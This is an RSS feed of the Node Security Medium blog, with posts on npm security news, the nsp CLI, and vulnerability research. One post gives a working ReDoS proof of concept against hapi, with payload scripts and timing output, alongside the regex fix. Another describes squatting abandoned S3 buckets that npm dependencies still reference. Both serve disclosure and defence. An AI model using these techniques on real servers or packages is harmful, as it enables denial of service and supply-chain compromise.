<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Node Security - Medium]]></title>
        <description><![CDATA[Node Security is now at npm, Inc. helping to build a range of security products. - Medium]]></description>
        <link>https://medium.com/node-security?source=rss----e83c91009b51---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Node Security - Medium</title>
            <link>https://medium.com/node-security?source=rss----e83c91009b51---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 15:12:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/node-security" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[npm Acquires ^Lift Security and the Node Security Platform]]></title>
            <link>https://medium.com/node-security/npm-acquires-lift-security-and-the-node-security-platform-2f9a08af8420?source=rss----e83c91009b51---4</link>
            <guid isPermaLink="false">https://medium.com/p/2f9a08af8420</guid>
            <category><![CDATA[news]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[npm]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[npm, Inc.]]></dc:creator>
            <pubDate>Tue, 10 Apr 2018 17:28:17 GMT</pubDate>
            <atom:updated>2018-04-10T17:28:17.386Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*kd3ggYlXj1QA5Gqpe-fUxw.png" /></figure><p>Today, we’re excited to announce that npm, Inc. has acquired the team and assets of ^Lift Security, including their work on the Node Security Platform. Adam Baldwin and his team have joined npm to work full time on keeping the npm Registry and npm applications safe, and to develop new products to help developers and their companies securely develop JavaScript.</p><h3>We go way back</h3><p>^Lift Security has been working with npm longer than npm, Inc. has been a company. They review npm’s own code to ensure it’s safe before we take it live, and conduct periodic security audits, including penetration tests of our services. Most prominently, their <a href="https://nodesecurity.io">Node Security Platform</a> has become a definitive catalogue of JavaScript vulnerabilities for developers and security vendors.</p><p>npm is where the Node Security Platform belongs. All NSP users are npm users, and the security of open source code is core to npm’s mission. By combining our resources, we can deliver a continuous approach to security at scale, empowering millions of developers to build more secure code.</p><p>As one team, we’ll continue keeping the Registry safe, and develop new ways to help individuals and companies understand and trust the JavaScript code that they write and share.</p><h3>Watch this space</h3><p>Today’s announcement is the first in a series of strategic security initiatives we’ll be announcing in coming weeks. In conjunction with the next version of npm, shipping with Node.js version 10, we’ll introduce a series of new security features available to every npm user, directly integrated into the npmjs.com registry and the npm command line tool. Soon, we’ll also introduce a series of security products specifically tailored to the unique requirements of corporate developers and enterprises.</p><h3>Security is everyone’s responsibility (including yours).</h3><p>Security is the responsibility of every part of an organization. It needs to be intermixed with engineering, operations, and application development. npm is at the center of these workflows, so we are uniquely positioned to help you secure your code.</p><p>We know that the safety of the code you use <a href="https://medium.com/npm-inc/security-in-the-js-community-4bac032e553b">is important to you, whether you’re a beginner or a seasoned expert</a>. Together, we’ll ensure that the world’s largest community of software developers is also its safest.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f9a08af8420" width="1" height="1" alt=""><hr><p><a href="https://medium.com/node-security/npm-acquires-lift-security-and-the-node-security-platform-2f9a08af8420">npm Acquires ^Lift Security and the Node Security Platform</a> was originally published in <a href="https://medium.com/node-security">Node Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[npm Registry Spelunking: Dependencies Referenced by URL]]></title>
            <link>https://medium.com/node-security/npm-registry-spelunking-dependencies-referenced-by-url-1cdd1edb9f37?source=rss----e83c91009b51---4</link>
            <guid isPermaLink="false">https://medium.com/p/1cdd1edb9f37</guid>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Adam Baldwin]]></dc:creator>
            <pubDate>Thu, 09 Nov 2017 01:40:22 GMT</pubDate>
            <atom:updated>2017-11-09T22:41:40.930Z</atom:updated>
            <content:encoded><![CDATA[<p>I’ve learned a long time ago that not all security research pans out with a stack of vulnerabilities but every time I venture down a rabbit hole I learn something along the way. This is one of those times.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*yUjKROzq2aAmp4N5LthMXA.png" /></figure><p>During a recent assessment ^Lift team member Jon Lamendola found an access_token on a url for a project dependency and that got us thinking:</p><blockquote>“<em>wonder if any npm dependencies are using urls that contain tokens or passwords.</em>”</blockquote><p>That was enough to nerd snipe an hour of my time as I answered his question and found a few more to answer along the way. Let me take you through the process and we’ll see what results shook out of the npm registry.</p><p><strong>Gathering of the urls<br></strong>To get the url’s the first thing I had todo was get the metadata from the registry. I do this with a script that looks like this.</p><p>wget &quot;https://replicate.npmjs.com/registry/_all_docs?include_docs=true&quot; -O registry.json</p><p>This will yield you an 8GB JSON file should you want to do your own spelunking. A stream and some for loops later I had a file that contained urls from any dependency that referenced it’s source as a url. The result was 9,326 unique urls from 7,482 modules. Not as many as I had suspected, but enough to keep going.</p><p><strong>Looking for access_tokens<br></strong>Quick grep for access_token and various other key words (key, token, secret, password) yielded no modules that contained a token similar to what Jon had witnessed. I also looked for any urls that had query string parameters just for coverage sake and also urls that contained HTTP basic auth and the result of interest was again 0. I was surprised at the random places (like dropbox.com) people were referencing to install dependencies from, I had to keep digging around.</p><p><em>EDIT: Jon Lamendola took a look over the url list after I had published this and found a needle in the haystack. 1 set of basic auth credentials that seem to be invalid at this time.</em></p><p>Interesting to note that 845 of those url’s are just using HTTP, not HTTPS. Those modules could potentially be vulnerable to MTIM if the attacker had the right network position (you never npm i at the coffee shop do you?)</p><p>Removing every github.com, github.io, and npmjs.org url and filtering the list further by hand brought it down to 75 domains and this is where things got interesting.</p><p>A few of those were very much Amazon S3 buckets. I resolved every domain to see if they resolved to an S3 bucket and added them to the list of potential S3 buckets, then I visited each one looking to see which ones were not active anymore. As S3 is a global name space if I found an abandoned bucket still in use I could grab it and fill it with whatever<em> nefarious package material</em> I wanted.</p><p>This was fun. I found 2 buckets to squat on. 🎉 But as I looked further those dependencies were used for a really old version of the modules so while I grabbed the buckets for the sake of science and maybe I could compromise something but the likelihood went down greatly as it wasn’t a recent version or popular module.</p><p>The rabbit hole continues… I thought are any of those domains expired? Same principle as the buckets, I could register the domain if it was to become expired and then take over the resources. Again nothing. 😭</p><p>Most of these were long shots, but hey I looked and learned a few things along the way.</p><ul><li>Be cautious of packages with urls for dependencies. What’s interesting to remember here is that these dependency resources are mutable. Maybe the hosting server says for anybody with .gov owned addresses gets one file and everyone gets another one.</li><li>Make sure dependencies you use don’t have dependencies that reference HTTP only url’s. Those will be susceptible to tampering the first time you install it. What was fun to learn was that while the HTTP based dependencies won’t have that integrity check on their first download npm will store the hash inside the package-lock.json file for integrity on future installations. This is one good reason you should be checking in your package-lock.json.</li><li>Finally if you use a S3 bucket for something, just assume you are going to have to keep that bucket around forever. Even if you empty it out keep your hands on it and don’t let me have it.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1cdd1edb9f37" width="1" height="1" alt=""><hr><p><a href="https://medium.com/node-security/npm-registry-spelunking-dependencies-referenced-by-url-1cdd1edb9f37">npm Registry Spelunking: Dependencies Referenced by URL</a> was originally published in <a href="https://medium.com/node-security">Node Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Announcing nsp 3.0.0]]></title>
            <link>https://medium.com/node-security/announcing-nsp-3-0-0-bc5e61b33509?source=rss----e83c91009b51---4</link>
            <guid isPermaLink="false">https://medium.com/p/bc5e61b33509</guid>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Adam Baldwin]]></dc:creator>
            <pubDate>Wed, 04 Oct 2017 21:48:14 GMT</pubDate>
            <atom:updated>2017-10-04T21:48:13.953Z</atom:updated>
            <content:encoded><![CDATA[<p>The Node Security team is excited to announce version 3.0.0 of the nsp CLI tool.</p><p>Get it by running npm i nsp@next</p><p>This release marks the 3rd major iteration of the CLI. While the changes mentioned below may seem minor the entire CLI was re-written from the ground up by Nathan LaFreniere with the goal of cleaning the code up to the point that will let us implement some amazing features we have planned for Node Security.</p><p>Here are some of the notable changes.</p><h3>Node 6.x and beyond</h3><p>We are dropping support for Node version below 6.x. If you haven’t upgraded, stop dragging your feet and upgrade. You want all those sweet security patches the Node core team releases for you, don’t you?</p><h3>Improved Exception Management</h3><p>The Node Security CLI supports adding exceptions. These are advisories that you have evaluated and personally deemed unimportant or not a risk for your project.</p><p>There are two ways to leverage this capability, online or offline. To use online exceptions, register your project on our online portal at <a href="https://nodesecurity.io">https://nodesecurity.io</a>. From there you can manage your exceptions from a central location.</p><p>In order to inform the CLI tool that it should use these settings, you’ll have to create a settings file (and login if your project is private). You’ll need both the organization name and the UUID for your project, these can be retrieved from the URL from our portal. For example, if your project is hapi and your project URL is <a href="https://nodesecurity.io/orgs/hapi/projects/2a6e5642-b7a1-4b93-b8fb-21c1a5043f42">https://nodesecurity.io/orgs/hapi/projects/2a6e5642-b7a1-4b93-b8fb-21c1a5043f42</a> then your organization name is hapi and your project UUID is 2a6e5642-b7a1–4b93-b8fb-21c1a5043f42.</p><p>Using that information, create a .nsprc file with the following content:</p><pre>{<br>  &quot;org&quot;: &quot;hapi&quot;,<br>  &quot;integration&quot;: &quot;2a6e5642-b7a1–4b93-b8fb-21c1a5043f42&quot;<br>}</pre><p>When you next run nsp check your exceptions will be retrieved from online. If your project is a private one, you will additionally need to run nsp login which will create another .nsprc file in your home directory with an authentication token that will allow the CLI tool to look up your settings.</p><p>We would love feedback on this and will work to make it a better experience over time.</p><h3>Filters &amp; Thresholds &amp; Exit Codes</h3><p>There are a couple new flags that we are introducing for the check command: threshold and filter</p><p>For example:</p><p>nsp check --threshold 4 would show all found vulnerabilities but only have an exit code of 1 if at least one finding has a CVSS above 4</p><p>nsp check --filter 4 would entirely ignore all vulnerabilities with CVSS scores below 4</p><p>Exit code reference:</p><p>0 — Check ran and no vulnerabilities were found<br>1 — Check ran and vulnerabilities were found that didn’t fall below your threshold or filter.<br>2 — Server error (5xx)<br>3 — Some unknown shenanigans happened<br>4 — Error in the reporter</p><h3>Proxy Settings</h3><p>Proxy settings can now be pulled from environment variables (HTTPS_PROXY, HTTP_PROXY). This is a minor improvement but many people wanted this feature.</p><h3>Improved Offline Mode</h3><p>Offline mode used to be a bit painful to get setup and a bit broken. To get setup to use offline mode, you run nsp gather to collect all the advisories. This will create an advisories.json file in the current directory containing an archive of all current advisories.</p><p>Then run nsp check --offline</p><p>or optionally (if advisories.json is not in the same directory as your project) nsp check --offline --advisories /path/to/advisories.json</p><h3>Output Reporters:</h3><p>Output reporters used to be called formatters. They are responsible for outputting the result of a command. The structure of these have completely changed, so if you were using a custom formatter you’ll need to make some changes for it to work as a reporter.</p><p>Output reporters consist of exported error and success handlers.</p><p>For example</p><p>exports.error = function (err, args) {}</p><p>exports.success = function (result, args) {}</p><p>For error handlers, the err is an actual Error object. For success result is an object containing the following keys:</p><pre>{</pre><pre>&quot;message&quot;: &quot;A string summary of the command result&quot;,</pre><pre>&quot;data&quot;: &quot;Result of the command. Will vary from command to command.&quot;,</pre><pre>&quot;meta&quot;: &quot;Detailed information about behind the scenes stuffs&quot;</pre><pre>}</pre><p>For both functions args is a copy of the command line arguments that were passed in, this is useful for checking for things like the--verbose flag.</p><p>Reporters can also specify custom output for each command that is run. For example, if you wanted output for the check command to go to slack but all other output to go to the console the reporter to do that would look something like this.</p><pre>exports.error = function (err, args) {</pre><pre>  console.error(err);</pre><pre>}</pre><pre>exports.success = function (result, args) {</pre><pre>  console.log(result);</pre><pre>}</pre><pre>exports.check = {};</pre><pre>exports.check.success = function (result, args) {</pre><pre>  return new Promise((resolve, reject) =&gt; {</pre><pre>    // Do some slack logic</pre><pre>    return resolve();</pre><pre>  })</pre><pre>}</pre><p>As always feedback is welcome, so create an issue at <a href="https://github.com/nodesecurity/nsp/issues">https://github.com/nodesecurity/nsp/issues</a> or drop us an email at support@nodesecurity.io and we’ll do our best to make Node Security great for you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc5e61b33509" width="1" height="1" alt=""><hr><p><a href="https://medium.com/node-security/announcing-nsp-3-0-0-bc5e61b33509">Announcing nsp 3.0.0</a> was originally published in <a href="https://medium.com/node-security">Node Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding and fixing ReDoS in the hapi framework]]></title>
            <link>https://medium.com/node-security/finding-and-fixing-redos-in-the-hapi-framework-eee5e40e2fcd?source=rss----e83c91009b51---4</link>
            <guid isPermaLink="false">https://medium.com/p/eee5e40e2fcd</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Nathan LaFreniere]]></dc:creator>
            <pubDate>Thu, 21 Sep 2017 18:11:45 GMT</pubDate>
            <atom:updated>2017-09-21T18:28:59.694Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently a Regular Expression Denial of Service issue was reported on the <a href="https://github.com/hapijs/content">content</a> repository, a part of the hapi framework. The issue has been removed as of the writing of this post, but I can tell you that it reported a pair of regular expressions related to the Content-Type and Content-Disposition headers as being vulnerable to a denial of service attack.</p><p>This raised some alarm bells due to the fact that we strongly encourage anyone that finds a security related bug in any module to disclose them in private. This gives module authors a chance to fix the problem and release a patch before knowledge of the vulnerability and potentially how to exploit it becomes widespread. Privately disclosing these issues can be done directly, or if you’d prefer you can <a href="https://nodesecurity.io/report">submit a report</a> and we can help communicate with the module’s author.</p><p>Public report aside, while it was wise of the author to omit an actual proof of concept from the issue, we failed to get a response when attempting to contact them to obtain further information. This left us in an interesting position. We have two regular expressions that we know are vulnerable to a denial of service <em>somehow</em>, but how? How do we fix them? How do we determine the impact to hapi, the one major framework we knew of using the module in its core?</p><h3>What is ReDoS?</h3><p>As a first step, we had to figure out exactly how to attack these regular expressions. A regular expression denial of service (ReDoS) is caused when a given regular expression contains patterns that repeat in an overlapping way. This overlap causes the engine to have to apply the pattern repeatedly for the same string creating an exponential slow down that grows with the length of the input. An example of such a vulnerable regex is (a+)+. Given the input &quot;aa&quot; this could match (a)(a) or (aa), however with the input &quot;aaa&quot; the engine must attempt to determine if the match is (aaa), (aa)(a), (a)(aa), or even (a)(a)(a). It&#39;s clear to see how quickly this problem escalates, provide this expression with a lengthy input and you can most definitely cause a denial of service while the huge amount of permutations are gone through. An important detail, however, is that when attacking a regex most engines will require that your input string ultimately <em>fails</em> to match. This is because if the input does not fail, the first permutation is considered a success and the engine stops there. With a failure the engine will continue going through each possible interpretation of the input attempting to find a match.</p><h3>Finding the problem</h3><p>Armed with that knowledge, let’s take a look at the regex for Content-Disposition. At the time of the issue it looked like this:</p><pre>/([^\=\*]+)(\*)?\s*\=\s*(?:([^;&#39;]+\&#39;[\w-]*\&#39;[^;\s]+)|(?:\&quot;([^&quot;]*)\&quot;)|([^;\s]*))(?:(?:\s*;\s*)|(?:\s*$))/g</pre><p>This is a lot to take in, certainly. Knowing, however, that ReDoS needs overlapping or ambiguous repeated patterns we can narrow down the parts of this that we really need to look closely at. Starting from the beginning, the first place that appears to have this problem is \s*(?:([^;&#39;]+\&#39;[\w-]*\&#39;[^;\s]+) or removing the non-capturing group and extra characters within it, \s*[^;&#39;]+. Described in words this is &quot;any number of spaces followed by one or more characters that are not a semi colon or single quote.&quot;</p><p>By following the code <a href="https://github.com/hapijs/content">in the repository</a> we can see that this regular expression is actually used to parse parameters within the Content-Disposition header. A well formed header with a valid parameter would look something like Content-Disposition: form-data; name=&quot;content&quot;; filename=&quot;hello.txt&quot;. To confirm this, let&#39;s go ahead and try parsing that using the content module.</p><pre>&#39;use strict&#39;;<br>const Content = require(&#39;content&#39;);<br>const header = &#39;form-data; name=&quot;content&quot;; filename=&quot;hello.txt&quot;&#39;; </pre><pre>console.time(&#39;parse&#39;);<br>console.log(Content.disposition(header));<br>console.timeEnd(&#39;parse&#39;);</pre><p>Make sure to install content@3.0.5 or older, then go ahead and run the above script. You should see output something like:</p><pre>{ name: &#39;content&#39;, filename: &#39;hello.txt&#39; }<br>parse: 6.200ms</pre><p>Great, so we can parse a valid header and we have an idea of how long it should take. Now let’s see if we can break that. We know that our theoretically vulnerable portion of the regular expression is related to spaces, and we know we need to make our input ultimately fail to match the regular expression. With a little bit of studying we were able to find that the easiest way to do this was to pass anything that wasn’t a space, followed by a huge string of spaces as a parameter. Let’s go ahead and change our script and give it a quick test with 500 spaces.</p><pre>&#39;use strict&#39;;<br>const Content = require(&#39;content&#39;);<br>const header = &#39;form-data; x&#39; + new Array(500).join(&#39; &#39;); </pre><pre>console.time(&#39;parse&#39;);<br>console.log(Content.disposition(header));<br>console.timeEnd(&#39;parse&#39;);</pre><p>And our output this time:</p><pre>{ Error: Invalid content-disposition header format includes invalid parameters /* snip */ }<br>parse: 47.440ms</pre><p>Here we can see we’ve definitely broken the parsing, and in addition to that our parsing that initially took 6.2ms is now taking over 47ms. Not much, but slower. We increased the number of spaces to 1000 and our parsing takes 292ms, 2000 spaces and we’re up to 2387ms. We’ve definitely found a problem. However, what we don’t know is the impact of the problem.</p><h3>Does it really matter?</h3><p>The Content-Disposition header is used in two places, one as a response header to describe whether a response body is inline or an attachment (and give hints about things such as filenames), and two to provide additional metadata about the parts of a multipart form body. The first use case is unlikely to have many widespread attack vectors since it would rely on a server generating <em>and</em> parsing a header based on user input. It could happen, sure, but it&#39;s probably not that common. Multipart forms are used every day, though, and could pose a serious issue.</p><p>We know that <a href="https://hapijs.com/">hapi</a> uses content, so let’s see if we can exploit a server. First let’s make a very small server that does nothing but create a POST route that we can target:</p><pre>&#39;use strict&#39;;<br>const Hapi = require(&#39;hapi&#39;);<br>const server = new Hapi.Server();</pre><pre>server.connection({ port: 8080 });<br>server.route({ method: &#39;post&#39;,<br>  path: &#39;/&#39;,<br>  handler: function (request, reply) {<br>    return reply();<br>  }<br>});</pre><pre>server.start(() =&gt; {<br>  console.log(&#39;started&#39;);<br>});</pre><p>Install hapi@16.5.2 or older and then go ahead and run it. Next, we need to craft a proof of concept that will take advantage of our ReDoS. This is what we came up with as a first attempt, simply placing our string that we know caused a problem directly into the payload:</p><pre>&#39;use strict&#39;;<br>const Wreck = require(&#39;wreck&#39;);</pre><pre>const payload = [<br>  &#39;--123456&#39;,<br>  &#39;content-disposition: form-data; x&#39; + new Array(2000).join(&#39; &#39;),<br>  &#39;content-type: text/plain&#39;,<br>  &#39;&#39;,<br>  &#39;text&#39;,<br>  &#39;--123456&#39;,<br>  &#39;content-disposition: form-data; name=&quot;field2&quot;&#39;,<br>  &#39;content-type: text/plain&#39;,<br>  &#39;&#39;,<br>  &#39;text&#39;,<br>  &#39;--123456--&#39;<br>].join(&#39;\r\n&#39;);</pre><pre>console.time(&#39;req&#39;);<br>Wreck.post(&#39;http://localhost:8080&#39;, { headers: { &#39;content-type&#39;: &#39;multipart/form-data; boundary=123456&#39;, &#39;content-length&#39;: Buffer.byteLength(payload) }, payload }, (err, res, body) =&gt; {<br>  console.timeEnd(&#39;req&#39;);<br>});</pre><p>Running this yielded a response time of 46ms. That didn’t seem quite right, so it was time to do a little digging. We followed the chain of code in hapi and found that it uses <a href="https://github.com/hapijs/subtext">subtext</a> to parse incoming payloads, which in turn uses <a href="https://github.com/hapijs/pez">pez</a> to parse multipart form bodies. Looking through the code of pez, we found that it trims whitespace from header lines so we tweaked the payload to have an additional character at the end to keep our spaces from being removed like so:</p><pre>const payload = [<br>  &#39;--123456&#39;,<br>  &#39;content-disposition: form-data; x&#39; + new Array(2000).join(&#39; &#39;) + &#39;x&#39;,<br>  &#39;content-type: text/plain&#39;,<br>  &#39;&#39;,<br>  &#39;text&#39;,<br>  &#39;--123456&#39;,<br>  &#39;content-disposition: form-data; name=&quot;field2&quot;&#39;,<br>  &#39;content-type: text/plain&#39;,<br>  &#39;&#39;,<br>  &#39;text&#39;,<br>  &#39;--123456--&#39;<br>].join(&#39;\r\n&#39;);</pre><p>And tried again yielding a response time of 2363ms. We’ve now definitely proven this is an issue on a live hapi server, but how do we fix it?</p><h3>Patching the regular expression</h3><p>Looking back at the vulnerable portion of the regex, we remember that we have \s*[^;&#39;]+. The repeating spaces being the cause of the problem. The simplest fix? Disallow spaces in the character group, so we have \s*[^;&#39;\s]+. Let&#39;s go ahead and implement that change in the original regex by making a local edit to `node_modules/content/lib/index.js:</p><pre>/([^\=\*]+)(\*)?\s*\=\s*(?:([^;&#39;\s]+\&#39;[\w-]*\&#39;[^;\s]+)|(?:\&quot;([^&quot;]*)\&quot;)|([^;\s]*))(?:(?:\s*;\s*)|(?:\s*$))/g</pre><p>And now we run our proof of concept again, and we see:</p><pre>req: 2167.621ms</pre><p>Well, that isn’t right. At another glance, however, you’ll notice that we have the same problem at the very beginning of the regex (extra characters removed) [^\=\*]+\s*, so let&#39;s go ahead and forbid spaces in that first character group too:</p><pre>/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;&#39;\s]+\&#39;[\w-]*\&#39;[^;\s]+)|(?:\&quot;([^&quot;]*)\&quot;)|([^;\s]*))(?:(?:\s*;\s*)|(?:\s*$))/g</pre><p>And then try our proof of concept one more time, and now we have:</p><pre>req: 62.917ms</pre><p>Looks like we’ve solved it!</p><h3>Reporting and releasing</h3><p>We followed a similar process with the Content-Type regular expression, then reported the findings with the proof of concept targeting the vulnerable portion of the regular expressions to Eran Hammer on Monday, September 11th. Eran released content@3.0.6 and hapi@16.6.0 addressing these vulnerabilities on Tuesday, September 12th. It was also decided at this point to drop the repository for content to remove the details that were posted in the GitHub issue and recreate it allowing users time to update their code following the release of the patch. A simple consequence of public disclosure that could have been avoided.</p><p>We <em>very strongly</em> recommend that anyone using the hapi framework update to hapi@16.6.0 or newer <em>as soon as possible</em>. It’s also a good idea to evaluate your own regular expressions for these types of vulnerabilities. Tools like <a href="https://github.com/substack/safe-regex">safe-regex</a> which is leveraged in our <a href="https://github.com/nodesecurity/eslint-plugin-security">eslint security plugin</a> can help, though users should be aware they aren’t perfect and contributions improving their accuracy are hugely welcomed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eee5e40e2fcd" width="1" height="1" alt=""><hr><p><a href="https://medium.com/node-security/finding-and-fixing-redos-in-the-hapi-framework-eee5e40e2fcd">Finding and fixing ReDoS in the hapi framework</a> was originally published in <a href="https://medium.com/node-security">Node Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pull Requests Welcome: We need your help to fix some ReDoS vulnerabilities]]></title>
            <link>https://medium.com/node-security/pull-requests-welcome-we-need-your-help-to-fix-some-redos-vulnerabilities-da9fc74b4fd5?source=rss----e83c91009b51---4</link>
            <guid isPermaLink="false">https://medium.com/p/da9fc74b4fd5</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[dores]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Adam Baldwin]]></dc:creator>
            <pubDate>Thu, 21 Sep 2017 05:17:26 GMT</pubDate>
            <atom:updated>2017-09-21T05:20:04.387Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently there were a large number of <a href="https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS">regular expression denial of service</a> ( ReDoS ) vulnerabilities released to the public via GitHub issues. These issues don’t have patches but many of the maintainers are welcoming pull requests. I’m writing to ask the community for some help. If you have the time available or your company supports contributions to open source please consider helping fix these issues.</p><p>Below you will find a list of these currently public and unfixed vulnerabilities, sorted by npm monthly download count. While some of these issues may be unlikely to face actual exploitation given the typical use case of the affected libraries; code and its usage tends to change over time, so it can’t hurt to mitigate these issues before they have the chance to cause problems.</p><p><a href="https://github.com/visionmedia/debug/issues/501">https://github.com/visionmedia/debug/issues/501</a><br><a href="https://github.com/lodash/lodash/issues/3359">https://github.com/lodash/lodash/issues/3359</a><br><a href="https://github.com/broofa/node-mime/issues/167">https://github.com/broofa/node-mime/issues/167</a><br><a href="https://github.com/epoberezkin/ajv/issues/557">https://github.com/epoberezkin/ajv/issues/557</a><br><a href="https://github.com/salesforce/tough-cookie/issues/92">https://github.com/salesforce/tough-cookie/issues/92</a><br><a href="https://github.com/moment/moment/issues/4163">https://github.com/moment/moment/issues/4163</a><br><a href="https://github.com/epeli/underscore.string/issues/510">https://github.com/epeli/underscore.string/issues/510</a><br><a href="https://github.com/get/parsejson/issues/4">https://github.com/get/parsejson/issues/4</a><br><a href="https://github.com/chjj/marked/issues/937">https://github.com/chjj/marked/issues/937</a><br><a href="https://github.com/jsdom/content-type-parser/issues/3">https://github.com/jsdom/content-type-parser/issues/3</a><br><a href="https://github.com/bestiejs/platform.js/issues/139">https://github.com/bestiejs/platform.js/issues/139</a><br><a href="https://github.com/indexzero/TimeSpan.js/issues/10">https://github.com/indexzero/TimeSpan.js/issues/10</a><br><a href="https://github.com/jprichardson/string.js/issues/212">https://github.com/jprichardson/string.js/issues/212</a><br><a href="https://github.com/hapijs/content/issues/14">https://github.com/hapijs/content/issues/14</a><br><a href="https://github.com/dodo/node-slug/issues/82">https://github.com/dodo/node-slug/issues/82</a><br><a href="https://github.com/tautologistics/node-htmlparser/issues/79">https://github.com/tautologistics/node-htmlparser/issues/79</a><br><a href="https://github.com/hgoebl/mobile-detect.js/issues/67">https://github.com/hgoebl/mobile-detect.js/issues/67</a><br><a href="https://github.com/kaimallea/isMobile/issues/66">https://github.com/kaimallea/isMobile/issues/66</a><br><a href="https://github.com/skoranga/node-dns-sync/issues/5">https://github.com/skoranga/node-dns-sync/issues/5</a></p><p>Here are a few other ReDoS issues that have been fixed recently to give you some inspiration for patches.</p><p><a href="https://github.com/blakeembrey/no-case/issues/17">https://github.com/blakeembrey/no-case/issues/17</a><br><a href="https://github.com/node-modules/charset/issues/10">https://github.com/node-modules/charset/issues/10</a><br><a href="https://github.com/hapijs/content/commit/3a8a6cbaf111955ec514019c2122cb278cc36a23">https://github.com/hapijs/content/commit/3a8a6cbaf111955ec514019c2122cb278cc36a23</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*vkjvNTvcIzfu580lSR_MVA.gif" /></figure><p>❤’s from the Node Security Team</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da9fc74b4fd5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/node-security/pull-requests-welcome-we-need-your-help-to-fix-some-redos-vulnerabilities-da9fc74b4fd5">Pull Requests Welcome: We need your help to fix some ReDoS vulnerabilities</a> was originally published in <a href="https://medium.com/node-security">Node Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[4 years of Node Security]]></title>
            <link>https://medium.com/node-security/4-years-of-node-security-69b03228b03?source=rss----e83c91009b51---4</link>
            <guid isPermaLink="false">https://medium.com/p/69b03228b03</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[announcements]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Adam Baldwin]]></dc:creator>
            <pubDate>Tue, 18 Apr 2017 19:26:02 GMT</pubDate>
            <atom:updated>2017-04-18T19:26:14.106Z</atom:updated>
            <content:encoded><![CDATA[<p>Today marks the 4th birthday of the Node Security Project. During that time we accomplished a lot, failed more than a few times, and inspired many developers to make security an important part of their discipline. The conversations that I’ve been able to have with many of you at conferences about things you’ve learned or bugs you’ve found are some of my favorite memories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R2b92FrZskHsLDWxtbzKrw.png" /></figure><p>To celebrate I wanted to highlight some of the achievements along the way.</p><ul><li>Released <a href="https://www.npmjs.com/package/nsp">nsp</a>, the first CLI tool to check for known vulnerabilities, which has had <a href="http://npm-stats.com/~packages/nsp">2,772,324</a> downloads</li><li><a href="https://david-dm.org/">david-dm.org</a> was the first third-party site to integrate the nsp advisory data.</li><li>Released the Node Security Platform to allow quick and easily integration of the nsp data via API.</li><li>Was the first<a href="http://blog.npmjs.org/post/146943134240/npm-add-ons"> security integration added to npm Enterprise</a></li><li>Had the nsp security data integrated into npm search <br><em>npm search whatever not:insecure</em></li><li>Established a partnership with <a href="https://gemnasium.com/">Gemnasium</a> to source node security data for their SaaS and Enterprise products.</li><li>Performed more than <em>20 million security checks </em>(since we started counting a year ago)</li><li>Released a set of <a href="https://github.com/nodesecurity/eslint-plugin-security">ESLint Rules </a>that can help identify some Node.js security hotspots.</li><li>Curated 314 advisories, many of those contributions from the community (thank you) and the others from our own research.</li></ul><p>and finally we announced that we would be<a href="https://medium.com/lift-security/were-donating-the-node-security-project-to-the-node-js-foundation-1776e351394a"> donating the nsp advisory data to the Node.js Foundation</a>.</p><h4>So what’s next for the Node Security Platform?</h4><p>While the foundation working group is being 